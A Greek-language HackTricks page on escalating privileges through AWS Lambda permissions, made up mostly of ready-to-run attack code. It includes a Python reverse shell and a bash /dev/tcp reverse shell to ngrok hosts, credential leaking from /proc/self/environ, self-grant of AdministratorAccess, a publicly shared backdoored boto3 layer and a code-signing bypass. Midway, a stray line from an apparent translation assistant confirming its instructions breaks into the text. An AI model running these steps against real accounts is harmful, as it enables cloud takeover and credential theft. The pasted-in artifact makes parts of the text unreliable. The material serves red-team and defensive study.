AWS - Lambda Privesc

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

lambda

Περισσότερες πληροφορίες για το lambda στο:

AWS - Lambda Enum

iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)

Χρήστες με τα iam:PassRole, lambda:CreateFunction, και lambda:InvokeFunction permissions μπορούν να αυξήσουν τα privileges τους.
Μπορούν να δημιουργήσουν μια νέα Lambda function και να την αναθέσουν σε ένα υπάρχον IAM role, δίνοντας στη function τα permissions που σχετίζονται με αυτό το role. Ο χρήστης μπορεί στη συνέχεια να γράψει και να ανεβάσει κώδικα σε αυτή τη Lambda function (π.χ. με ένα rev shell).
Μόλις η function ρυθμιστεί, ο χρήστης μπορεί να προκαλέσει την εκτέλεσή της και τις επιθυμητές ενέργειες καλώντας τη Lambda function μέσω του AWS API. Αυτή η προσέγγιση επιτρέπει ουσιαστικά στον χρήστη να εκτελεί εργασίες έμμεσα μέσω της Lambda function, λειτουργώντας με το επίπεδο πρόσβασης που παρέχει το IAM role που συνδέεται με αυτή.\

Ένας attacker θα μπορούσε να το εκμεταλλευτεί για να αποκτήσει ένα rev shell και να κλέψει το token:

import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
# Zip the rev shell
zip "rev.zip" "rev.py"

# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip

# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL

# List roles
aws iam list-attached-user-policies --user-name <user-name>

Μπορείτε επίσης να abuse the lambda role permissions from the lambda function itself.
Εάν ο lambda role είχε αρκετά permissions, θα μπορούσατε να τον χρησιμοποιήσετε για να δώσετε admin rights σε εσάς:

import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response

Είναι επίσης δυνατό να leak τα διαπιστευτήρια του role της lambda χωρίς να χρειάζεται εξωτερική σύνδεση. Αυτό θα ήταν χρήσιμο για Network isolated Lambdas που χρησιμοποιούνται σε εσωτερικές εργασίες. Εάν υπάρχουν άγνωστα security groups που φιλτράρουν τα reverse shells σου, αυτό το κομμάτι κώδικα θα σου επιτρέψει να leak απευθείας τα διαπιστευτήρια ως έξοδο της lambda.

def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt

Potential Impact: Άμεσο privesc στον καθορισμένο role υπηρεσίας lambda.

Caution

Σημειώστε ότι, ακόμη κι αν φαίνεται ενδιαφέρον, lambda:InvokeAsync δεν επιτρέπει από μόνο του να εκτελέσετε aws lambda invoke-async, χρειάζεστε επίσης lambda:InvokeFunction

iam:PassRole, lambda:CreateFunction, lambda:AddPermission

Όπως στο προηγούμενο σενάριο, μπορείτε να παραχωρήσετε στον εαυτό σας την άδεια lambda:InvokeFunction εάν έχετε την άδεια lambda:AddPermission

# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"

Potential Impact: Άμεσο privesc στο αυθαίρετο lambda service role που καθορίζεται.

iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping

Χρήστες με iam:PassRole, lambda:CreateFunction και lambda:CreateEventSourceMapping δικαιώματα (και ενδεχομένως dynamodb:PutItem και dynamodb:CreateTable) μπορούν έμμεσα να αποκτήσουν αυξημένα προνόμια ακόμη και χωρίς lambda:InvokeFunction.
Μπορούν να δημιουργήσουν μια Lambda function με κακόβουλο κώδικα και να την αναθέσουν σε έναν υπάρχοντα IAM role.

Αντί να καλεί άμεσα τη Lambda, ο χρήστης ρυθμίζει ή χρησιμοποιεί έναν υπάρχοντα πίνακα DynamoDB, συνδέοντάς τον με τη Lambda μέσω ενός event source mapping. Αυτή η διάταξη εξασφαλίζει ότι η Lambda function ενεργοποιείται αυτόματα όταν εισαχθεί ένα νέο item στον πίνακα, είτε από ενέργεια του χρήστη είτε από άλλη διαδικασία, προκαλώντας έτσι έμμεση κλήση της Lambda function και εκτέλεση του κώδικα με τα δικαιώματα του περασμένου IAM role.

aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip

Εάν το DynamoDB είναι ήδη ενεργό στο περιβάλλον AWS, ο χρήστης χρειάζεται μόνο να εγκαταστήσει την αντιστοίχιση πηγής συμβάντων για τη συνάρτηση Lambda. Ωστόσο, αν το DynamoDB δεν χρησιμοποιείται, ο χρήστης πρέπει να δημιουργήσει έναν νέο πίνακα με ενεργοποιημένο το streaming:

aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES

Τώρα είναι δυνατό να συνδέσετε τη συνάρτηση Lambda με τον πίνακα DynamoDB δημιουργώντας ένα event source mapping:

aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST

Με τη λειτουργία Lambda συνδεδεμένη με το DynamoDB stream, ο επιτιθέμενος μπορεί έμμεσα να πυροδοτήσει το Lambda ενεργοποιώντας το DynamoDB stream. Αυτό μπορεί να επιτευχθεί με εισαγωγή ενός item στον πίνακα DynamoDB:

aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}

Πιθανός Αντίκτυπος: Άμεσο privesc στο συγκεκριμένο lambda service role.

lambda:AddPermission

Ένας επιτιθέμενος με αυτό το δικαίωμα μπορεί να χορηγήσει στον εαυτό του (ή σε άλλους) οποιαδήποτε δικαιώματα (αυτό δημιουργεί resource based policies για να παραχωρήσει πρόσβαση στον πόρο):

# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>

# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout

Πιθανός Αντίκτυπος: Άμεσο privesc στον ρόλο υπηρεσίας lambda που χρησιμοποιείται, παρέχοντας την άδεια να τροποποιεί τον κώδικα και να τον εκτελεί.

lambda:AddLayerVersionPermission

Ένας επιτιθέμενος με αυτήν την άδεια μπορεί να παραχωρήσει στον εαυτό του (ή σε άλλους) την άδεια lambda:GetLayerVersion. Μπορεί να αποκτήσει πρόσβαση στο layer και να αναζητήσει ευπάθειες ή ευαίσθητες πληροφορίες

# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

Πιθανός αντίκτυπος: Πιθανή πρόσβαση σε ευαίσθητες πληροφορίες.

lambda:UpdateFunctionCode

Χρήστες που διαθέτουν την άδεια lambda:UpdateFunctionCode έχουν τη δυνατότητα να τροποποιήσουν τον κώδικα μιας υπάρχουσας Lambda function που είναι συνδεδεμένη με ένα IAM role.
Ο attacker μπορεί να τροποποιήσει τον κώδικα της Lambda για να exfiltrate τα IAM credentials.

Αν και ο attacker μπορεί να μην έχει την άμεση δυνατότητα να καλέσει τη Lambda function, εάν αυτή υπάρχει ήδη και είναι σε λειτουργία, είναι πιθανό να ενεργοποιηθεί μέσω υπαρχόντων workflows ή events, διευκολύνοντας έτσι έμμεσα την εκτέλεση του τροποποιημένου κώδικα.

# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip

# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt

# If not check if it's exposed in any URL or via an API gateway you could access

Potential Impact: Άμεσο privesc στο lambda service role που χρησιμοποιείται.

lambda:UpdateFunctionConfiguration

RCE via env variables

Με αυτά τα δικαιώματα είναι δυνατό να προστεθούν environment variables που θα κάνουν τη Lambda να εκτελέσει αυθαίρετο κώδικα. Για παράδειγμα σε python είναι δυνατό να καταχραστεί κανείς τα environment variables PYTHONWARNING και BROWSER ώστε μια διεργασία python να εκτελέσει αυθαίρετες εντολές:

aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"

Για άλλες scripting languages υπάρχουν και άλλες env variables που μπορείτε να χρησιμοποιήσετε. Για περισσότερες πληροφορίες δείτε τις υποενότητες των scripting languages στο:

macOS Process Abuse - HackTricks

RCE μέσω Lambda Layers

Lambda Layers επιτρέπουν να συμπεριλάβετε code στη lamdba function σας αλλά αποθηκεύοντάς το ξεχωριστά, ώστε ο function code να μπορεί να παραμείνει μικρός και several functions can share code.

Μέσα στο lambda μπορείτε να ελέγξετε τα paths από όπου φορτώνεται το python code με μια function όπως η ακόλουθη:

import json
import sys

def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))

These are the places:

  1. /var/task
  2. /opt/python/lib/python3.7/site-packages
  3. /opt/python
  4. /var/runtime
  5. /var/lang/lib/python37.zip
  6. /var/lang/lib/python3.7
  7. /var/lang/lib/python3.7/lib-dynload
  8. /var/lang/lib/python3.7/site-packages
  9. /opt/python/lib/python3.7/site-packages
  10. /opt/python

Για παράδειγμα, η βιβλιοθήκη boto3 φορτώνεται από /var/runtime/boto3 (4η θέση).

Exploitation

Είναι δυνατόν να καταχραστείτε την άδεια lambda:UpdateFunctionConfiguration για να προσθέσετε ένα νέο layer σε μια λειτουργία lambda. Για να εκτελέσετε αυθαίρετο κώδικα, αυτό το layer πρέπει να περιέχει κάποια βιβλιοθήκη που η lambda θα εισάγει. Αν μπορείτε να διαβάσετε τον κώδικα της lambda, μπορείτε να το βρείτε εύκολα — επίσης σημειώστε ότι μπορεί να είναι πιθανό η lambda να χρησιμοποιεί ήδη ένα layer και να μπορείτε να κατεβάσετε το layer και να προσθέσετε τον κώδικά σας εκεί.

Για παράδειγμα, ας υποθέσουμε ότι η lambda χρησιμοποιεί τη βιβλιοθήκη boto3 — αυτό θα δημιουργήσει ένα τοπικό layer με την τελευταία έκδοση της βιβλιοθήκης:

pip3 install -t ./lambda_layer boto3

Μπορείτε να ανοίξετε ./lambda_layer/boto3/__init__.py και να add the backdoor in the global code (π.χ. μια συνάρτηση για να exfiltrate credentials ή να αποκτήσετε ένα reverse shell για παράδειγμα).

Στη συνέχεια, zip αυτόν τον κατάλογο ./lambda_layer και upload the new lambda layer στον δικό σας λογαριασμό (ή σε αυτόν του θύματος, αλλά ίσως να μην έχετε δικαιώματα για αυτό).
Σημειώστε ότι χρειάζεται να δημιουργήσετε έναν φάκελο python και να τοποθετήσετε τις βιβλιοθήκες εκεί για να override το /opt/python/boto3. Επίσης, το layer πρέπει να είναι compatible with the python version που χρησιμοποιεί η lambda και αν το ανεβάσετε στον λογαριασμό σας, πρέπει να βρίσκεται στην same region:

aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

Τώρα, κάντε το ανεβασμένο lambda layer προσβάσιμο από οποιονδήποτε λογαριασμό:

aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *

Και επισυνάψτε το lambda layer στη victim lambda function:

aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells

Το επόμενο βήμα θα ήταν είτε να καλέσουμε τη συνάρτηση εμείς αν μπορούμε είτε να περιμένουμε μέχρι να καλεστεί με φυσιολογικά μέσα — που είναι η ασφαλέστερη μέθοδος.

Ένας πιο διακριτικός τρόπος εκμετάλλευσης αυτής της ευπάθειας βρίσκεται στο:

AWS - Lambda Layers Persistence

Potential Impact: Άμεσο privesc στον ρόλο υπηρεσίας του lambda που χρησιμοποιείται.

iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl

Ίσως με αυτά τα δικαιώματα να μπορείτε να δημιουργήσετε μια function και να την εκτελέσετε καλώντας το URL… αλλά κατάφερα να βρω τρόπο να το δοκιμάσω, οπότε ενημερώστε με αν το κάνετε!

Lambda MitM

Κάποιες lambdas θα λαμβάνουν ευαίσθητες πληροφορίες από τους χρήστες ως παραμέτρους. Αν αποκτήσετε RCE σε μία από αυτές, μπορείτε να exfiltrate τις πληροφορίες που άλλοι χρήστες στέλνουν σε αυτή — δείτε το στο:

AWS - Lambda Steal Requests

References

lambda:DeleteFunctionCodeSigningConfig or lambda:PutFunctionCodeSigningConfig + lambda:UpdateFunctionCode — Bypass Lambda Code Signing

If a Lambda function enforces code signing, an attacker who can either remove the Code Signing Config (CSC) or downgrade it to Warn can deploy unsigned code to the function. This bypasses integrity protections without modifying the function’s IAM role or triggers.

Permissions (one of):

  • Path A: lambda:DeleteFunctionCodeSigningConfig, lambda:UpdateFunctionCode
  • Path B: lambda:CreateCodeSigningConfig, lambda:PutFunctionCodeSigningConfig, lambda:UpdateFunctionCode

Notes:

  • For Path B, you don’t need an AWS Signer profile if the CSC policy is set to WARN (unsigned artifacts allowed).

Steps (REGION=us-east-1, TARGET_FN=):

Prepare a small payload:

cat > handler.py <<'PY'
import os, json
def lambda_handler(event, context):
return {"pwn": True, "env": list(os.environ)[:6]}
PY
zip backdoor.zip handler.py

Διαδρομή A) Αφαιρέστε CSC και στη συνέχεια ενημερώστε το code:

aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
if [ "$HAS_CSC" -eq 1 ]; then
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION
fi
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION

Διαδρομή B) Μειώστε σε Warn και ενημερώστε τον κώδικα (εάν το delete δεν επιτρέπεται):

CSC_ARN=$(aws lambda create-code-signing-config \
--description ht-warn-csc \
--code-signing-policies UntrustedArtifactOnDeployment=WARN \
--query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION)
aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION

Επιβεβαιώνω: Θα μεταφράσω το σχετικό αγγλικό κείμενο στα Ελληνικά, διατηρώντας ακριβώς την ίδια markdown/HTML σύνταξη. Δεν θα μεταφράσω ή τροποποιήσω: code, ονόματα τεχνικών hacking, κοινές hacking λέξεις, ονόματα cloud/SaaS (π.χ. Workspace, aws, gcp…), τη λέξη “leak”, pentesting, links, paths ή tags/ref (π.χ. {#tabs}, {#ref}, paths όπως lamda-post-exploitation.md). Δεν θα προσθέσω επιπλέον περιεχόμενο.

aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
cat /tmp/out.json

Πιθανός αντίκτυπος: Δυνατότητα να ανεβάσει και να εκτελέσει αυθαίρετο μη υπογεγραμμένο κώδικα σε μια συνάρτηση που υποτίθεται ότι επιβάλλει υπογεγραμμένες αναπτύξεις, ενδεχομένως οδηγώντας σε εκτέλεση κώδικα με τα δικαιώματα του ρόλου της συνάρτησης.

Καθαρισμός:

aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks